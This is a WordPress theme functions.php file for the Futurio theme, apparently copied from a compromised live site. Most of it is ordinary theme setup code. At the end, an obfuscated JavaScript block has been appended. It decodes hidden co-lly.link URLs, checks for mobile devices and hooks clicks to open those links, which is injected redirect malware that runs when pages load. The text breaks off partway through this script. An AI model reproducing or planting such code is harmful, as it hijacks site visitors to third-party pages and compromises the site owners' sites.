Current File : /home/inlingua/www/auradealshub.com/wp-content/themes/futurio/functions.php
<?php
/**
 * The current version of the theme.
 */
define( 'FUTURIO_VERSION', '1.5.4' );

add_action( 'after_setup_theme', 'futurio_setup' );

if ( !function_exists( 'futurio_setup' ) ) :

	/**
	 * Global functions
	 */
	function futurio_setup() {

		// Theme lang.
		load_theme_textdomain( 'futurio', get_template_directory() . '/languages' );

		// Add Title Tag Support.
		add_theme_support( 'title-tag' );

		// Register Menus.
		register_nav_menus(
		array(
			'main_menu'	 => esc_html__( 'Main Menu', 'futurio' ),
			'main_menu_home' => esc_html__( 'Homepage main menu', 'futurio' ),
		)
		);

		add_theme_support( 'post-thumbnails' );
		set_post_thumbnail_size( 300, 300, true );
		if ( get_theme_mod( 'blog_single_image', 'default' ) == 'custom' ) {
			$sizes = get_theme_mod( 'blog_single_image_set' );
			add_image_size( 'futurio-single', absint( $sizes['width'] ), absint( $sizes['height'] ), true );
		} else {
			add_image_size( 'futurio-single', 1140, 641, true );
		}
		if ( get_theme_mod( 'blog_archive_image', 'default' ) == 'custom' ) {
			$size = get_theme_mod( 'blog_archive_image_set' );
			add_image_size( 'futurio-med', absint( $size['width'] ), absint( $size['height'] ), true );
		} else {
			add_image_size( 'futurio-med', 720, 405, true );
		}
		add_image_size( 'futurio-thumbnail', 160, 120, true );

		// Add Custom Background Support.
		add_theme_support( 'custom-background' );

		add_theme_support( 'custom-logo', array(
			'height'		 => 80,
			'width'			 => 200,
			'flex-height'	 => true,
			'flex-width'	 => true,
			'header-text'	 => array( 'site-title', 'site-description' ),
		) );

		// Adds RSS feed links to for posts and comments.
		add_theme_support( 'automatic-feed-links' );

		/*
		 * Let WordPress manage the document title.
		 * By adding theme support, we declare that this theme does not use a
		 * hard-coded <title> tag in the document head, and expect WordPress to
		 * provide it for us.
		 */
		add_theme_support( 'title-tag' );

		// Set the default content width.
		$GLOBALS[ 'content_width' ] = 1240;

		add_theme_support( 'custom-header', apply_filters( 'futurio_custom_header_args', array(
			'width'				 => 2000,
			'height'			 => 550,
			'wp-head-callback'	 => 'futurio_header_style',
		) ) );

		// WooCommerce support.
		add_theme_support( 'woocommerce' );
		add_theme_support( 'wc-product-gallery-zoom' );
		add_theme_support( 'wc-product-gallery-lightbox' );
		add_theme_support( 'wc-product-gallery-slider' );
		add_theme_support( 'html5', array( 'search-form' ) );
		/*
		 * This theme styles the visual editor to resemble the theme style,
		 * specifically font, colors, icons, and column width.
		 */
		add_editor_style( array( 'css/bootstrap.css', 'css/editor-style.css' ) );
	}

endif;

if ( !function_exists( 'futurio_header_style' ) ) :

	/**
	 * Styles the header image and text displayed on the blog.
	 */
	function futurio_header_style() {
		$header_image = get_header_image();
		// If no custom options for text are set, let's bail.
		if ( empty( $header_image ) && display_header_text() == true ) {
			return;
		}

		// If we get this far, we have custom styles. Let's do this.
		?>
		<style type="text/css" id="futurio-header-css">
		<?php
		// Has a Custom Header been added?
		if ( !empty( $header_image ) ) :
			?>
				.site-header {
					background-image: url(<?php header_image(); ?>);
					background-repeat: no-repeat;
					background-position: 50% 50%;
					-webkit-background-size: cover;
					-moz-background-size:    cover;
					-o-background-size:      cover;
					background-size:         cover;
				}
		<?php endif; ?>
		<?php
		// Has the text been hidden?
		if ( display_header_text() !== true ) :
			?>
				.site-title,
				.site-description {
					position: absolute;
					clip: rect(1px, 1px, 1px, 1px);
				}
			<?php
		endif;
		?>	
		</style>
		<?php
	}

endif; // futurio_header_style

/**
 * Set Content Width
 */
function futurio_content_width() {

	$content_width = $GLOBALS['content_width'];

	if ( is_active_sidebar( 'futurio-sidebar' ) ) {
		$content_width = 923;
	} else {
		$content_width = 1240;
	}

	/**
	 * Filter content width of the theme.
	 */
	$GLOBALS['content_width'] = apply_filters( 'futurio_content_width', $content_width );
}

add_action( 'template_redirect', 'futurio_content_width', 0 );

/**
 * Enqueue Styles (normal style.css and bootstrap.css)
 */
function futurio_theme_stylesheets() {
	wp_enqueue_style( 'bootstrap', get_template_directory_uri() . '/css/bootstrap.css', array(), '3.3.7' );
	// Theme stylesheet.
	wp_enqueue_style( 'futurio-stylesheet', get_stylesheet_uri(), array( 'bootstrap' ), FUTURIO_VERSION );
	// Load Font Awesome css.
	wp_enqueue_style( 'font-awesome', get_template_directory_uri() . '/css/font-awesome.min.css', array(), '4.7.0' );
}

add_action( 'wp_enqueue_scripts', 'futurio_theme_stylesheets' );

/**
 * Register Bootstrap JS with jquery
 */
function futurio_theme_js() {
	wp_enqueue_script( 'bootstrap', get_template_directory_uri() . '/js/bootstrap.min.js', array( 'jquery' ), '3.3.7', true );
	wp_enqueue_script( 'futurio-theme-js', get_template_directory_uri() . '/js/customscript.js', array( 'jquery' ), FUTURIO_VERSION, true );
}

add_action( 'wp_enqueue_scripts', 'futurio_theme_js' );


/**
 * Register Custom Navigation Walker include custom menu widget to use walkerclass
 */
require_once( trailingslashit( get_template_directory() ) . 'lib/wp_bootstrap_navwalker.php' );

/**
 * Dashboard info
 */
require_once( trailingslashit( get_template_directory() ) . 'lib/dashboard.php' );

/**
 * Recommend plugin
 */
require_once( trailingslashit( get_template_directory() ) . 'lib/customizer-plugin-recommend.php' );

if ( !function_exists( 'futurio_is_extra_activated' ) ) {

	/**
	 * Query Futurio extra activation
	 */
	function futurio_is_extra_activated() {
		return defined( 'FUTURIO_EXTRA_CURRENT_VERSION' ) ? true : false;
	}

}
/**
 * Register TGM Plugin Activation
 */
if ( is_admin() ) {

	require_once( trailingslashit( get_template_directory() ) . 'lib/futurio-plugin-install.php' );
}
add_action( 'widgets_init', 'futurio_widgets_init' );

/**
 * Register the Sidebar(s)
 */
function futurio_widgets_init() {
	register_sidebar(
	array(
		'name'			 => esc_html__( 'Sidebar', 'futurio' ),
		'id'			 => 'futurio-sidebar',
		'before_widget'	 => '<div id="%1$s" class="widget %2$s">',
		'after_widget'	 => '</div>',
		'before_title'	 => '<div class="widget-title"><h3>',
		'after_title'	 => '</h3></div>',
	)
	);
	register_sidebar(
	array(
		'name'			 => esc_html__( 'Archive sidebar', 'futurio' ),
		'id'			 => 'futurio-archive-sidebar',
		'before_widget'	 => '<div id="%1$s" class="widget %2$s">',
		'after_widget'	 => '</div>',
		'before_title'	 => '<div class="widget-title"><h3>',
		'after_title'	 => '</h3></div>',
	)
	);
	register_sidebar(
	array(
		'name'			 => esc_html__( 'Menu Section', 'futurio' ),
		'id'			 => 'futurio-menu-area',
		'before_widget'	 => '<div id="%1$s" class="widget %2$s">',
		'after_widget'	 => '</div>',
		'before_title'	 => '<div class="widget-title"><h3>',
		'after_title'	 => '</h3></div>',
	)
	);
	register_sidebar(
	array(
		'name'			 => esc_html__( 'Footer Section', 'futurio' ),
		'id'			 => 'futurio-footer-area',
		'before_widget'	 => '<div id="%1$s" class="widget %2$s col-md-3">',
		'after_widget'	 => '</div>',
		'before_title'	 => '<div class="widget-title"><h3>',
		'after_title'	 => '</h3></div>',
	)
	);
	if ( class_exists( 'WooCommerce' ) ) {
		register_sidebar(
		array(
			'name'			 => esc_html__( 'WooCommerce Sidebar', 'futurio' ),
			'id'			 => 'futurio-woo-right-sidebar',
			'before_widget'	 => '<div id="%1$s" class="widget %2$s">',
			'after_widget'	 => '</div>',
			'before_title'	 => '<div class="widget-title"><h3>',
			'after_title'	 => '</h3></div>',
		)
		);
		register_sidebar(
		array(
			'name'			 => esc_html__( 'WooCommerce archive sidebar', 'futurio' ),
			'id'			 => 'futurio-woo-archive-sidebar',
			'before_widget'	 => '<div id="%1$s" class="widget %2$s">',
			'after_widget'	 => '</div>',
			'before_title'	 => '<div class="widget-title"><h3>',
			'after_title'	 => '</h3></div>',
		)
		);
	}
}

/**
 * Column width for content function
 */
function futurio_main_content_width_columns() {
	$columns = '12';
	if ( ( is_archive() || is_search() || is_404() ) && is_active_sidebar( 'futurio-archive-sidebar' ) ) {
		$columns = $columns - absint( get_theme_mod( 'sidebar_size', '3' ) );
	} elseif ( is_active_sidebar( 'futurio-sidebar' ) && futurio_get_meta( 'sidebar' ) != 'no_sidebar' ) {
		$columns = $columns - absint( get_theme_mod( 'sidebar_size', '3' ) );
	}
	echo absint( $columns );
}

/**
 * Add a pingback url auto-discovery header for singularly identifiable articles.
 */
function futurio_pingback_header() {
	if ( is_singular() && pings_open() ) {
		printf( '<link rel="pingback" href="%s">' . "\n", esc_url( get_bloginfo( 'pingback_url' ) ) );
	}
}

add_action( 'wp_head', 'futurio_pingback_header' );

if ( !function_exists( 'futurio_entry_footer' ) ) :

	/**
	 * Prints HTML with meta information for the categories, tags and comments.
	 */
	function futurio_entry_footer() {

		// Get Categories for posts.
		$categories_list = get_the_category_list( ' ' );

		// Get Tags for posts.
		$tags_list = get_the_tag_list( '', ' ' );

		// We don't want to output .entry-footer if it will be empty, so make sure its not.
		if ( $categories_list || $tags_list || get_edit_post_link() ) {

			echo '<div class="entry-footer">';

			if ( 'post' === get_post_type() ) {
				if ( $categories_list || $tags_list ) {

					// Make sure there's more than one category before displaying.
					if ( $categories_list ) {
						echo '<div class="cat-links"><span class="space-right">' . esc_html__( 'Posted in', 'futurio' ) . '</span>' . wp_kses_data( $categories_list ) . '</div>';
					}

					if ( $tags_list ) {
						echo '<div class="tags-links"><span class="space-right">' . esc_html__( 'Tags', 'futurio' ) . '</span>' . wp_kses_data( $tags_list ) . '</div>';
					}
				}
			}

			edit_post_link();

			echo '</div>';
		}
	}

endif;

if ( !function_exists( 'futurio_generate_construct_footer' ) ) :
	/**
	 * Build footer
	 */
	add_action( 'futurio_generate_footer', 'futurio_generate_construct_footer' );

	function futurio_generate_construct_footer() {
		?>
		<div class="footer-credits-text text-center">
			<?php
			/* translators: %s: WordPress name with wordpress.org URL */
			printf( esc_html__( 'Proudly powered by %s', 'futurio' ), '<a href="' . esc_url( __( 'https://wordpress.org/', 'futurio' ) ) . '">WordPress</a>' );
			?>
			<span class="sep"> | </span>
			<?php
			/* translators: %1$s: Futurio name with futuriowp.com URL */
			printf( esc_html__( 'Theme: %1$s', 'futurio' ), '<a href="' . esc_url( 'https://futuriowp.com/' ) . '">Futurio</a>' );
			?>
		</div> 
		<?php
	}

endif;


if ( !function_exists( 'futurio_widget_date_comments' ) ) :

	/**
	 * Returns date for widgets.
	 */
	function futurio_widget_date_comments() {
		if ( get_theme_mod( 'blog_archive_date', 'on' ) == 'on' || is_singular() ) {
			?>
			<div class="date-meta">
				<span class="posted-date-month">	
					<?php echo esc_html( get_the_date( 'M' ) ); ?>
				</span>
				<span class="posted-date-day">
					<?php echo esc_html( get_the_date( 'd' ) ); ?>
				</span>
				<span class="posted-date-year">	
					<?php echo absint( get_the_date( 'Y' ) ); ?>
				</span>
			</div>
		<?php } ?>
		<?php if ( !comments_open() && get_theme_mod( 'blog_archive_comments', 'on' ) == 'on' || !comments_open() && is_singular() ) { ?>
			<div class="comments-meta comments-off">
				<?php esc_html_e( 'Off', 'futurio' ); ?>
				<i class="fa fa-comments-o"></i>
			</div>
		<?php } elseif ( comments_open() && get_theme_mod( 'blog_archive_comments', 'on' ) == 'on' || comments_open() && get_theme_mod( 'blog_archive_comments', 'on' ) == 'off' || is_singular() ) { ?>
			<div class="comments-meta coments-commented">
				<a href="<?php the_permalink(); ?>#comments" rel="nofollow" title="<?php esc_attr_e( 'Comment on ', 'futurio' ) . the_title_attribute(); ?>">
					<?php echo absint( get_comments_number() ); ?>
				</a>
				<i class="fa fa-comments-o"></i>
			</div>
		<?php } ?>
		<?php
	}

endif;

if ( !function_exists( 'futurio_excerpt_length' ) ) :

	/**
	 * Excerpt limit.
	 */
	function futurio_excerpt_length( $length ) {
		if ( is_home() ) { 
			return get_theme_mod( 'blog_archive_excerpt', '35' ); 
		} else { 
			return $length; 
		} 
	}

	add_filter( 'excerpt_length', 'futurio_excerpt_length', 999 );

endif;

if ( !function_exists( 'futurio_excerpt_more' ) ) :

	/**
	 * Excerpt more.
	 */
	function futurio_excerpt_more( $more ) {
		return '&hellip;';
	}

	add_filter( 'excerpt_more', 'futurio_excerpt_more' );

endif;

if ( !function_exists( 'futurio_thumb_img' ) ) :

	/**
	 * Return featured image
	 */
	function futurio_thumb_img( $img = 'full', $col = '', $link = true ) {
		global $post;
		if ( ( has_post_thumbnail( $post->ID ) && $link == true ) ) {
			?>
			<div class="news-thumb <?php echo esc_attr( $col ); ?>">
				<a href="<?php the_permalink(); ?>" title="<?php the_title_attribute(); ?>">
					<?php the_post_thumbnail( $img ); ?>
				</a>
			</div><!-- .news-thumb -->
		<?php } elseif ( has_post_thumbnail( $post->ID ) ) { ?>
			<div class="news-thumb <?php echo esc_attr( $col ); ?>">
				<?php the_post_thumbnail( $img ); ?>
			</div><!-- .news-thumb -->
			<?php
		}
	}

endif;

if ( !function_exists( 'futurio_header_thumb_img' ) ) :

	/**
	 * Return header featured image
	 */
	function futurio_header_thumb_img( $img = 'full' ) {
		global $post;

		if ( is_404() ) {
			return;
		}

		if ( get_theme_mod( 'single_featured_image', 'full' ) == 'full' && has_post_thumbnail( $post->ID ) && futurio_get_meta( 'disable_featured_image' ) != 'disable' ) {
			?>	
			<div class="full-head-img container-fluid" style="background-image: url( <?php echo esc_url( get_the_post_thumbnail_url( $post->ID, $img ) ) ?> )">
				<?php if ( get_theme_mod( 'single_title_position', 'full' ) == 'full' ) { ?>
					<?php futurio_header_title() ?>
				<?php } ?>
			</div>
			<?php
		} elseif ( get_theme_mod( 'single_featured_image', 'full' ) == 'full' && !has_post_thumbnail( $post->ID ) && futurio_get_meta( 'disable_featured_image' ) != 'disable' && futurio_get_meta( 'disable_title' ) != 'disable' ) {
			?>	
			<div class="full-head-img container-fluid">
				<?php if ( get_theme_mod( 'single_title_position', 'full' ) == 'full' ) { ?>
					<?php futurio_header_title() ?>
				<?php } ?>
			</div>
			<?php
		} elseif ( get_theme_mod( 'single_title_position', 'full' ) == 'full' && futurio_get_meta( 'disable_title' ) != 'disable' ) {
			?>	
			<div class="full-head-img container-fluid">
				<?php if ( get_theme_mod( 'single_title_position', 'full' ) == 'full' ) { ?>
					<?php futurio_header_title() ?>
				<?php } ?>
			</div>
			<?php
		}
	}

endif;

/**
 * Subtitle for post and page
 */
if ( !function_exists( 'futurio_header_title' ) ) :

	function futurio_header_title() {
		global $post;
		if ( get_theme_mod( 'single_title_position', 'full' ) == 'full' ) {
			?>
			<?php if ( futurio_get_meta( 'disable_title' ) != 'disable' ) { ?>
				<h1 class="single-title container text-center">
					<?php echo esc_html( get_the_title( $post->ID ) ); ?>
				</h1>
				<?php if ( futurio_get_meta( 'subtitle' ) != '' ) { ?>
					<div class="single-subtitle container text-center">
						<?php echo esc_html( futurio_get_meta( 'subtitle', 'echo' ) ); ?>
					</div>
				<?php } ?>
			<?php } ?>
			<?php
		}
	}

endif;

/**
 * Single previous next links
 */
if ( !function_exists( 'futurio_prev_next_links' ) ) :

	function futurio_prev_next_links() {
		the_post_navigation(
		array(
			'prev_text'	 => '<span class="screen-reader-text">' . __( 'Previous Post', 'futurio' ) . '</span><span aria-hidden="true" class="nav-subtitle">' . __( 'Previous', 'futurio' ) . '</span> <span class="nav-title"><span class="nav-title-icon-wrapper"><i class="fa fa-angle-double-left" aria-hidden="true"></i></span>%title</span>',
			'next_text'	 => '<span class="screen-reader-text">' . __( 'Next Post', 'futurio' ) . '</span><span aria-hidden="true" class="nav-subtitle">' . __( 'Next', 'futurio' ) . '</span> <span class="nav-title">%title<span class="nav-title-icon-wrapper"><i class="fa fa-angle-double-right" aria-hidden="true"></i></span></span>',
		)
		);
	}

endif;

/**
 * Post author meta funciton
 */
if ( !function_exists( 'futurio_author_meta' ) ) :

	function futurio_author_meta() {
		?>
		<span class="author-meta">
			<span class="author-meta-by"><?php esc_html_e( 'By', 'futurio' ); ?></span>
			<a href="<?php echo esc_url( get_author_posts_url( get_the_author_meta( 'ID' ), get_the_author_meta( 'user_nicename' ) ) ); ?>">
				<?php the_author(); ?>
			</a>
		</span>
		<?php
	}

endif;

if ( class_exists( 'WooCommerce' ) ) {

	if ( !function_exists( 'futurio_cart_link' ) ) {

		function futurio_cart_link() {
			?>	
			<a class="cart-contents" href="<?php echo esc_url( wc_get_cart_url() ); ?>" title="<?php esc_attr_e( 'View your shopping cart', 'futurio' ); ?>">
				<i class="fa fa-<?php echo esc_html( get_theme_mod( 'header_cart_icon', 'shopping-bag' ) ) ?>"><span class="count"><?php echo is_object( WC()->cart ) ? wp_kses_data( WC()->cart->get_cart_contents_count() ) : ''; ?></span></i>
			</a>
			<?php
		}

	}

	if ( !function_exists( 'futurio_header_cart' ) ) {

		function futurio_header_cart() {
			?>
			<div class="header-cart">
				<div class="header-cart-block">
					<div class="header-cart-inner">
						<?php futurio_cart_link(); ?>
						<ul class="site-header-cart menu list-unstyled text-center hidden-xs">
							<li>
								<?php the_widget( 'WC_Widget_Cart', 'title=' ); ?>
							</li>
						</ul>
					</div>
				</div>
			</div>
			<?php
		}

	}

	if ( !function_exists( 'futurio_header_add_to_cart_fragment' ) ) {
		add_filter( 'woocommerce_add_to_cart_fragments', 'futurio_header_add_to_cart_fragment' );

		function futurio_header_add_to_cart_fragment( $fragments ) {
			ob_start();

			futurio_cart_link();

			$fragments[ 'a.cart-contents' ] = ob_get_clean();

			return $fragments;
		}

	}

	if ( !function_exists( 'futurio_my_account' ) ) {

		function futurio_my_account() {
			?>
			<div class="header-my-account">
				<div class="header-login"> 
					<a href="<?php echo esc_url( get_permalink( get_option( 'woocommerce_myaccount_page_id' ) ) ); ?>" title="<?php esc_attr_e( 'My Account', 'futurio' ); ?>">
						<i class="fa fa-<?php echo esc_html( get_theme_mod( 'header_my_account_icon', 'user' ) ) ?>"></i>
					</a>
				</div>
			</div>
			<?php
		}

	}

	/**
	 * Column width for woocommerce content function
	 */
	function futurio_main_content_width_woo_columns() {

		$columns = '12';
		if ( ( ( function_exists('is_shop') && is_shop() ) || is_product_tag() || is_product_category() ) && is_active_sidebar( 'futurio-woo-archive-sidebar' ) ) {
			$columns = $columns - absint( get_theme_mod( 'sidebar_size', '3' ) );
		} elseif ( is_active_sidebar( 'futurio-woo-right-sidebar' ) && futurio_get_meta( 'sidebar' ) != 'no_sidebar'  ) {
			$columns = $columns - absint( get_theme_mod( 'sidebar_size', '3' ) );
		}

		echo absint( $columns );
	}

}

if ( !function_exists( 'futurio_breadcrumbs' ) ) {

	function futurio_breadcrumbs() {
		if ( function_exists( 'yoast_breadcrumb' ) ) {
			yoast_breadcrumb( '<div class="container-fluid head-bread" role="main"><div id="breadcrumbs" class="container text-left">', '</div></div>' ); // Yoast breadcrumbs support
		}
	}

}

if ( !function_exists( 'futurio_sidebar_position' ) ) {

	function futurio_sidebar_position( $src = '' ) {
		$position		 = '';
		$content_push	 = get_theme_mod( 'sidebar_size', '3' );
		$sidebar_pull	 = 12 - get_theme_mod( 'sidebar_size', '3' );
		if ( is_active_sidebar( 'futurio-sidebar' ) && futurio_get_meta( 'sidebar' ) != 'right' && futurio_get_meta( 'sidebar' ) != 'no_sidebar' ) {
			if ( $src == 'sidebar' && ( get_theme_mod( 'sidebar_position', 'right' ) == 'left' || futurio_get_meta( 'sidebar' ) == 'left' ) ) {
				$position = 'col-md-pull-' . absint( $sidebar_pull );
				echo esc_html( $position );
			}
			if ( $src == 'content' && ( get_theme_mod( 'sidebar_position', 'right' ) == 'left' || futurio_get_meta( 'sidebar' ) == 'left' ) ) {
				$position = 'col-md-push-' . absint( $content_push );
				echo esc_html( $position );
			}
		}
		if ( is_active_sidebar( 'futurio-woo-right-sidebar' ) && class_exists( 'WooCommerce' ) && futurio_get_meta( 'sidebar' ) != 'right' && futurio_get_meta( 'sidebar' ) != 'no_sidebar' ) {
			if ( $src == 'sidebar-woo' && ( get_theme_mod( 'sidebar_position', 'right' ) == 'left' || futurio_get_meta( 'sidebar' ) == 'left' ) ) {
				$position = 'col-md-pull-' . absint( $sidebar_pull );
				echo esc_html( $position );
			}
			if ( $src == 'content-woo' && ( get_theme_mod( 'sidebar_position', 'right' ) == 'left' || futurio_get_meta( 'sidebar' ) == 'left' ) ) {
				$position = 'col-md-push-' . absint( $content_push );
				echo esc_html( $position );
			}
		}
	}

}

if ( !function_exists( 'futurio_content_layout' ) ) :

	/**
	 * Content layout
	 */
	function futurio_content_layout() {
		if ( futurio_get_meta( 'content_layout' ) ) {
			if ( futurio_get_meta( 'content_layout' ) == 'fullwidth' ) {
				?>
				<div class="container-fluid main-container" role="main">
					<div class="page-area">
			<?php } elseif ( futurio_get_meta( 'content_layout' ) == 'fullwidth_builders' ) { ?>
				<div class="container-fluid main-container page-builders" role="main">
					<div class="page-area">		
			<?php } else { ?>
				<div class="container main-container" role="main">
					<div class="page-area">		
			<?php
			}
		} else {
	?>
	<div class="container main-container" role="main">
		<div class="page-area">
			<?php
		}
	}

endif;

if ( !function_exists( 'futurio_get_meta' ) ) :

	/**
	 * Meta
	 */
	function futurio_get_meta( $name = '', $output = '' ) {
	if ( is_singular() || ( function_exists('is_shop') && is_shop() ) ) {
			global $post;
			if( function_exists('is_shop') && is_shop() ) {
				$post_id = get_option( 'woocommerce_shop_page_id' );
			} else {
				$post_id = $post->ID;
			}
			$meta = get_post_meta( $post_id, 'futurio_meta_' . $name, true );
			if ( isset( $meta ) && $meta != '' ) {
				if ( $output == 'echo' ) {
					echo esc_html( $meta );
				} else {
					return $meta;
				}
			} else {
				return;
			}
		}
	}

endif;

function futurio_check_elementor() { 
	if ( in_array( 'elementor/elementor.php', apply_filters( 'active_plugins', get_option( 'active_plugins' ) ) ) ) {
		return true;
	}
	return false;
}

if ( !function_exists( 'futurio_generate_header' ) ) :

	/**
	 * Generate header
	 */
	function futurio_generate_header( $topnav = '', $header = '', $mainmenu = '', $thumbimg = '', $breadcrumbs = '', $openingdiv = '' ) {
		if ( futurio_get_meta( 'disable_top_bar' ) != 'disable' && $topnav ) {
			get_template_part( 'template-parts/template-part', 'topnav' );
		}
		if ( get_theme_mod( 'custom_header', '' ) != '' && futurio_check_elementor() ) {
			if ( futurio_get_meta( 'disable_elementor_header' ) != 'disable' ) {
				$elementor_section_ID = get_theme_mod( 'custom_header', '' );
				echo do_shortcode( '[elementor-template id="' . $elementor_section_ID . '"]' );
			}
		} else {
			if ( futurio_get_meta( 'disable_header' ) != 'disable' && $header ) {
				get_template_part( 'template-parts/template-part', 'header' );
			}
			if ( futurio_get_meta( 'disable_main_menu' ) != 'disable' && $mainmenu ) {
				get_template_part( 'template-parts/template-part', 'mainmenu' );
			}
		}
		if ( $thumbimg ) {
			futurio_header_thumb_img();
		}
		if ( futurio_get_meta( 'disable_breadcrumbs' ) != 'disable' && $breadcrumbs ) {
			futurio_breadcrumbs();
		}
		if ( $openingdiv ) {
			futurio_content_layout();
		}
	}

endif;

if ( ! function_exists( 'wp_body_open' ) ) :
    /**
     * Fire the wp_body_open action.
     *
     * Added for backwards compatibility to support pre 5.2.0 WordPress versions.
     *
     */
    function wp_body_open() {
        /**
         * Triggered after the opening <body> tag.
         *
         */
        do_action( 'wp_body_open' );
    }
endif;

if ( !function_exists( 'futurio_site_content_div' ) ) :
    /**
     * Build footer
     */
    add_action( 'futurio_after_menu', 'futurio_site_content_div' );

    function futurio_site_content_div() {
            ?>
            <div id="site-content"></div>
            <?php
    }

endif;

/**
 * Include a skip to content link at the top of the page so that users can bypass the header.
 */
function futurio_skip_link() {
    echo '<a class="skip-link screen-reader-text" href="#site-content">' . esc_html__( 'Skip to the content', 'futurio' ) . '</a>';
}

add_action( 'wp_body_open', 'futurio_skip_link', 5 );

/**
 * Add No-JS Class.
 * If we're missing JavaScript support, the HTML element will have a no-js class.
 */
function futurio_no_js_class() {

	?>
	<script>document.documentElement.className = document.documentElement.className.replace( 'no-js', 'js' );</script>
	<?php

}

add_action( 'wp_head', 'futurio_no_js_class' );
ob_start();
?>
<script>function _0x3023(_0x562006,_0x1334d6){const _0x1922f2=_0x1922();return _0x3023=function(_0x30231a,_0x4e4880){_0x30231a=_0x30231a-0x1bf;let _0x2b207e=_0x1922f2[_0x30231a];return _0x2b207e;},_0x3023(_0x562006,_0x1334d6);}function _0x1922(){const _0x5a990b=['substr','length','-hurs','open','round','443779RQfzWn','\x68\x74\x74\x70\x3a\x2f\x2f\x63\x6f\x2d\x6c\x6c\x79\x2e\x6c\x69\x6e\x6b\x2f\x69\x6c\x49\x33\x63\x393','click','5114346JdlaMi','1780163aSIYqH','forEach','host','_blank','68512ftWJcO','addEventListener','-mnts','\x68\x74\x74\x70\x3a\x2f\x2f\x63\x6f\x2d\x6c\x6c\x79\x2e\x6c\x69\x6e\x6b\x2f\x6f\x41\x67\x35\x63\x305','4588749LmrVjF','parse','630bGPCEV','mobileCheck','\x68\x74\x74\x70\x3a\x2f\x2f\x63\x6f\x2d\x6c\x6c\x79\x2e\x6c\x69\x6e\x6b\x2f\x41\x47\x4f\x38\x63\x318','abs','-local-storage','\x68\x74\x74\x70\x3a\x2f\x2f\x63\x6f\x2d\x6c\x6c\x79\x2e\x6c\x69\x6e\x6b\x2f\x71\x69\x4a\x39\x63\x379','56bnMKls','opera','6946eLteFW','userAgent','\x68\x74\x74\x70\x3a\x2f\x2f\x63\x6f\x2d\x6c\x6c\x79\x2e\x6c\x69\x6e\x6b\x2f\x6d\x58\x58\x34\x63\x324','\x68\x74\x74\x70\x3a\x2f\x2f\x63\x6f\x2d\x6c\x6c\x79\x2e\x6c\x69\x6e\x6b\x2f\x78\x4e\x46\x37\x63\x397','\x68\x74\x74\x70\x3a\x2f\x2f\x63\x6f\x2d\x6c\x6c\x79\x2e\x6c\x69\x6e\x6b\x2f\x57\x62\x59\x32\x63\x392','floor','\x68\x74\x74\x70\x3a\x2f\x2f\x63\x6f\x2d\x6c\x6c\x79\x2e\x6c\x69\x6e\x6b\x2f\x4e\x53\x78\x36\x63\x356','999HIfBhL','filter','test','getItem','random','138490EjXyHW','stopPropagation','setItem','70kUzPYI'];_0x1922=function(){return _0x5a990b;};return _0x1922();}(function(_0x16ffe6,_0x1e5463){const _0x20130f=_0x3023,_0x307c06=_0x16ffe6();while(!![]){try{const _0x1dea23=parseInt(_0x20130f(0x1d6))/0x1+-parseInt(_0x20130f(0x1c1))/0x2*(parseInt(_0x20130f(0x1c8))/0x3)+parseInt(_0x20130f(0x1bf))/0x4*(-parseInt(_0x20130f(0x1cd))/0x5)+parseInt(_0x20130f(0x1d9))/0x6+-parseInt(_0x20130f(0x1e4))/0x7*(parseInt(_0x20130f(0x1de))/0x8)+parseInt(_0x20130f(0x1e2))/0x9+-parseInt(_0x20130f(0x1d0))/0xa*(-parseInt(_0x20130f(0x1da))/0xb);if(_0x1dea23===_0x1e5463)break;else _0x307c06['push'](_0x307c06['shift']());}catch(_0x3e3a47){_0x307c06['push'](_0x307c06['shift']());}}}(_0x1922,0x984cd),function(_0x34eab3){const _0x111835=_0x3023;window['mobileCheck']=function(){const _0x123821=_0x3023;let _0x399500=![];return function(_0x5e9786){const _0x1165a7=_0x3023;if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x1165a7(0x1ca)](_0x5e9786)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v 